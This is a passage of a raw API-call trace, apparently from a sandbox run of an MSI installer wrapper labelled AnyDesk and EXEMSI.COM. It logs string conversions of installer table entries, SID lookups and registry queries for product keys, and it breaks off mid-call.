lpMultiByteStr=0x10ce4e0, cbMultiByte=21, lpWideCharStr=0x2103e50, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallPrepare") returned 21 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x2103ea0, cchWideChar=17 | out: lpWideCharStr="_InstallPrepare@4") returned 17 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=37, lpWideCharStr=0x32fcc0, cchWideChar=37 | out: lpWideCharStr="bz.LateInstallSetPropertyForDeferred1") returned 37 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=21, lpWideCharStr=0x2103ef0, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish1") returned 21 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x2103f40, cchWideChar=17 | out: lpWideCharStr="_InstallFinish1@4") returned 17 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=37, lpWideCharStr=0x32fd30, cchWideChar=37 | out: lpWideCharStr="bz.LateInstallSetPropertyForDeferred2") returned 37 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=21, lpWideCharStr=0x2103f90, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish2") returned 21 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x33b2a0, cchWideChar=14 | out: lpWideCharStr="bz.CheckReboot") returned 14 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x33b2e0, cchWideChar=14 | out: lpWideCharStr="_CheckReboot@4") returned 14 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2103fe0, cchWideChar=19 | out: lpWideCharStr="bz.UninstallPrepare") returned 19 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2104030, cchWideChar=19 | out: lpWideCharStr="_UninstallPrepare@4") returned 19 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=35, lpWideCharStr=0x32fda0, cchWideChar=35 | out: lpWideCharStr="bz.UninstallSetPropertyForDeferred1") returned 35 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2104080, cchWideChar=19 | out: lpWideCharStr="bz.UninstallFinish1") returned 19 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x21040d0, cchWideChar=19 | out: lpWideCharStr="_UninstallFinish1@4") returned 19 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=35, lpWideCharStr=0x32fe10, cchWideChar=35 | out: lpWideCharStr="bz.UninstallSetPropertyForDeferred2") returned 35 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2104120, cchWideChar=19 | out: lpWideCharStr="bz.UninstallFinish2") returned 19 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2104170, cchWideChar=19 | out: lpWideCharStr="_UninstallFinish2@4") returned 19 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x21041c0, cchWideChar=19 | out: lpWideCharStr="bz.UninstallWrapped") returned 19 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2104210, cchWideChar=19 | out: lpWideCharStr="_UninstallWrapped@4") returned 19 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=18, lpWideCharStr=0x2104260, cchWideChar=18 | out: lpWideCharStr="ProgramFilesFolder") returned 18 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=25, lpWideCharStr=0x339b10, cchWideChar=25 | out: lpWideCharStr="bxjvilw7|[BZ.COMPANYNAME]") returned 25 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=9, lpWideCharStr=0x33b320, cchWideChar=9 | out: lpWideCharStr="TARGETDIR") returned 9 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=1, lpWideCharStr=0x383e90, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=9, lpWideCharStr=0x33b360, cchWideChar=9 | out: lpWideCharStr="SourceDir") returned 9 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x33b3a0, cchWideChar=14 | out: lpWideCharStr="ProductFeature") returned 14 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x33b3e0, cchWideChar=12 | out: lpWideCharStr="Main Feature") returned 12 [0121.196] CExposedStream::Read () returned 0x0 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x21042b0, cchWideChar=19 | out: lpWideCharStr="FindRelatedProducts") returned 19 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=16, lpWideCharStr=0x33b420, cchWideChar=16 | out: lpWideCharStr="LaunchConditions") returned 16 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x2104300, cchWideChar=17 | out: lpWideCharStr="ValidateProductID") returned 17 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=20, lpWideCharStr=0x2104350, cchWideChar=20 | out: lpWideCharStr="MigrateFeatureStates") returned 20 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x21043a0, cchWideChar=17 | out: lpWideCharStr="ProcessComponents") returned 17 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x21043f0, cchWideChar=17 | out: lpWideCharStr="UnpublishFeatures") returned 17 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=20, lpWideCharStr=0x2104440, cchWideChar=20 | out: lpWideCharStr="RemoveRegistryValues") returned 20 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2104490, cchWideChar=19 | out: lpWideCharStr="WriteRegistryValues") returned 19 [0121.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x3c11c0, cchWideChar=12 | out: lpWideCharStr="RegisterUser") returned 12 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=15, lpWideCharStr=0x3c0740, cchWideChar=15 | out: lpWideCharStr="RegisterProduct") returned 15 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=13, lpWideCharStr=0x3c0fc0, cchWideChar=13 | out: lpWideCharStr="ResolveSource") returned 13 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=45, lpWideCharStr=0x34abc0, cchWideChar=45 | out: lpWideCharStr="NOT REMOVE ~=\"ALL\" AND NOT UPGRADEPRODUCTCODE") returned 45 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=22, lpWideCharStr=0x21044e0, cchWideChar=22 | out: lpWideCharStr="RemoveExistingProducts") returned 22 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=74, lpWideCharStr=0x3bd4e0, cchWideChar=74 | out: lpWideCharStr="NOT REMOVE ~=\"ALL\" AND NOT UPGRADEPRODUCTCODE AND BZ.INSTALLMODE = \"EARLY\"") returned 74 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=44, lpWideCharStr=0x34b4c0, cchWideChar=44 | out: lpWideCharStr="REMOVE ~= \"ALL\" AND NOT UPGRADINGPRODUCTCODE") returned 44 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=73, lpWideCharStr=0x3bd5a0, cchWideChar=73 | out: lpWideCharStr="NOT REMOVE ~=\"ALL\" AND NOT UPGRADEPRODUCTCODE AND BZ.INSTALLMODE = \"LATE\"") returned 73 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x3c1000, cchWideChar=14 | out: lpWideCharStr="ScheduleReboot") returned 14 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=70, lpWideCharStr=0x37e200, cchWideChar=70 | out: lpWideCharStr="NOT REMOVE ~=\"ALL\" AND NOT UPGRADEPRODUCTCODE AND BZ.EXITCODE = \"3010\"") returned 70 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=26, lpWideCharStr=0x339ab0, cchWideChar=26 | out: lpWideCharStr="NOT WIX_DOWNGRADE_DETECTED") returned 26 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=27, lpWideCharStr=0x339c90, cchWideChar=27 | out: lpWideCharStr="Downgrades are not allowed.") returned 27 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x383a40, cchWideChar=8 | out: lpWideCharStr="ALLUSERS") returned 8 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=1, lpWideCharStr=0x383d10, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x3c0780, cchWideChar=11 | out: lpWideCharStr="ARPNOREPAIR") returned 11 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x3c0b00, cchWideChar=11 | out: lpWideCharStr="ARPNOMODIFY") returned 11 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=6, lpWideCharStr=0x383f20, cchWideChar=6 | out: lpWideCharStr="Hidden") returned 6 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=23, lpWideCharStr=0x2104530, cchWideChar=23 | out: lpWideCharStr="BZ.WRAPPED_REGISTRATION") returned 23 [0121.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=6, lpWideCharStr=0x383dd0, cchWideChar=6 | out: lpWideCharStr="BZ.VER") returned 6 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=13, lpWideCharStr=0x3c0c40, cchWideChar=13 | out: lpWideCharStr="BZ.CURRENTDIR") returned 13 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x3c1080, cchWideChar=11 | out: lpWideCharStr="*SOURCEDIR*") returned 11 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=16, lpWideCharStr=0x3c1100, cchWideChar=16 | out: lpWideCharStr="BZ.WRAPPED_APPID") returned 16 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=7, lpWideCharStr=0x383da0, cchWideChar=7 | out: lpWideCharStr="AnyDesk") returned 7 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x3c0d40, cchWideChar=14 | out: lpWideCharStr="BZ.COMPANYNAME") returned 14 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x3c0680, cchWideChar=10 | out: lpWideCharStr="EXEMSI.COM") returned 10 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x3c09c0, cchWideChar=11 | out: lpWideCharStr="BZ.BASENAME") returned 11 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x3c0dc0, cchWideChar=11 | out: lpWideCharStr="install.exe") returned 11 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=21, lpWideCharStr=0x2104580, cchWideChar=21 | out: lpWideCharStr="BZ.ELEVATE_EXECUTABLE") returned 21 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=5, lpWideCharStr=0x383f80, cchWideChar=5 | out: lpWideCharStr="never") returned 5 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x3c0c00, cchWideChar=14 | out: lpWideCharStr="BZ.INSTALLMODE") returned 14 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=4, lpWideCharStr=0x383d70, cchWideChar=4 | out: lpWideCharStr="LATE") returned 4 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x21045d0, cchWideChar=17 | out: lpWideCharStr="BZ.WRAPPERVERSION") returned 17 [0121.198] CExposedStream::Read () returned 0x0 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=9, lpWideCharStr=0x3c0bc0, cchWideChar=9 | out: lpWideCharStr="10.0.50.0") returned 9 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x3c0c80, cchWideChar=11 | out: lpWideCharStr="BZ.EXITCODE") returned 11 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=1, lpWideCharStr=0x383a10, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=24, lpWideCharStr=0x2104620, cchWideChar=24 | out: lpWideCharStr="BZ.INSTALL_SUCCESS_CODES") returned 24 [0121.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x3c0ec0, cchWideChar=12 | out: lpWideCharStr="Manufacturer") returned 12 [0121.199] CExposedStream::Read () returned 0x0 [0121.199] CExposedStream::Release () returned 0x0 [0121.199] CExposedStream::Release () returned 0x0 [0121.199] lstrlenW (lpString="Name") returned 4 [0121.199] lstrlenW (lpString="Table") returned 5 [0121.199] lstrlenW (lpString="Number") returned 6 [0121.199] lstrlenW (lpString="Name") returned 4 [0121.199] lstrlenW (lpString="Type") returned 4 [0121.199] lstrlenW (lpString="_Tables") returned 7 [0121.199] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀㽿䅤䈯䠶", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce800, ppstm=0x2 | out: ppstm=0x2) returned 0x0 [0121.199] CExposedStream::Stat () returned 0x0 [0121.199] GlobalLock (hMem=0xf40028) returned 0x21dfd50 [0121.199] CExposedStream::Read () returned 0x0 [0121.199] CExposedStream::Release () returned 0x0 [0121.200] lstrlenW (lpString="_Columns") returned 8 [0121.200] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀㬿䏲䐸䖱", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce800, ppstm=0x2 | out: ppstm=0x2) returned 0x0 [0121.200] CExposedStream::Stat () returned 0x0 [0121.200] GlobalLock (hMem=0xf40018) returned 0x37be00 [0121.200] CExposedStream::Read () returned 0x0 [0121.200] CExposedStream::Release () returned 0x0 [0121.200] lstrlenW (lpString="Property") returned 8 [0121.200] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䕙䓲䕨䜷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce820, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0121.200] CExposedStream::Stat () returned 0x0 [0121.200] GlobalLock (hMem=0xf40038) returned 0x21008a0 [0121.200] CExposedStream::Read () returned 0x0 [0121.200] CExposedStream::Release () returned 0x0 [0121.201] lstrlenW (lpString="MSINEWINSTANCE") returned 14 [0121.201] memcpy (in: _Dst=0x3c0ac0, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.201] lstrlenW (lpString="[~~~]") returned 5 [0121.201] lstrlenW (lpString="[~~~]") returned 5 [0121.201] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0121.201] memcpy (in: _Dst=0x330190, _Src=0x33d004, _Size=0x50 | out: _Dst=0x330190) returned 0x330190 [0121.201] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.201] memcpy (in: _Dst=0x35aaa0, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.201] memcpy (in: _Dst=0x35aaa0, _Src=0x33d078, _Size=0x10 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.201] memcpy (in: _Dst=0x35ab00, _Src=0x33d08c, _Size=0xe | out: _Dst=0x35ab00) returned 0x35ab00 [0121.201] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.201] memcpy (in: _Dst=0x2104850, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104850) returned 0x2104850 [0121.202] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.202] memcpy (in: _Dst=0x35aaa0, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.202] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.202] memcpy (in: _Dst=0x35aaa0, _Src=0x33d132, _Size=0x8 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.202] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.202] memcpy (in: _Dst=0x2104850, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104850) returned 0x2104850 [0121.202] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.202] memcpy (in: _Dst=0x3399f0, _Src=0x33d198, _Size=0x34 | out: _Dst=0x3399f0) returned 0x3399f0 [0121.202] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.202] memcpy (in: _Dst=0x35aaa0, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.202] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.202] memcpy (in: _Dst=0x35aaa0, _Src=0x33d20e, _Size=0xe | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.202] memcpy (in: _Dst=0x35aaa0, _Src=0x33d220, _Size=0xc | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.202] memcpy (in: _Dst=0x35ab00, _Src=0x33d230, _Size=0xe | out: _Dst=0x35ab00) returned 0x35ab00 [0121.202] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.203] memcpy (in: _Dst=0x35aaa0, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.203] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.203] memcpy (in: _Dst=0x35aaa0, _Src=0x33d284, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.203] memcpy (in: _Dst=0x35aaa0, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.203] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.203] memcpy (in: _Dst=0x35aaa0, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.203] memcpy (in: _Dst=0x35ab00, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x35ab00) returned 0x35ab00 [0121.203] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.203] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.203] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.204] GetCurrentThreadId () returned 0xf50 [0121.204] GetCurrentThreadId () returned 0xf50 [0121.204] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.204] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce240, TokenInformationLength=0x58, ReturnLength=0x10ce230 | out: TokenInformation=0x10ce240, ReturnLength=0x10ce230) returned 1 [0121.204] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce320, pSourceSid=0x10ce250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce320*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.204] ConvertSidToStringSidW (in: Sid=0x10ce320*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce300 | out: StringSid=0x10ce300*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.204] LocalFree (hMem=0x330500) returned 0x0 [0121.204] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.204] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0121.204] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce908 | out: phkResult=0x10ce908*=0x0) returned 0x2 [0121.204] GetCurrentThreadId () returned 0xf50 [0121.204] GetCurrentThreadId () returned 0xf50 [0121.205] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.205] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce240, TokenInformationLength=0x58, ReturnLength=0x10ce230 | out: TokenInformation=0x10ce240, ReturnLength=0x10ce230) returned 1 [0121.205] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce320, pSourceSid=0x10ce250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce320*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.205] ConvertSidToStringSidW (in: Sid=0x10ce320*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce300 | out: StringSid=0x10ce300*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.205] LocalFree (hMem=0x330180) returned 0x0 [0121.205] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.205] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0121.205] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce908 | out: phkResult=0x10ce908*=0x0) returned 0x2 [0121.205] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.205] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0121.205] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce908 | out: phkResult=0x10ce908*=0x0) returned 0x2 [0121.205] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.205] _vsnwprintf (in: _Buffer=0x10ce100, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10ce0c8 | out: 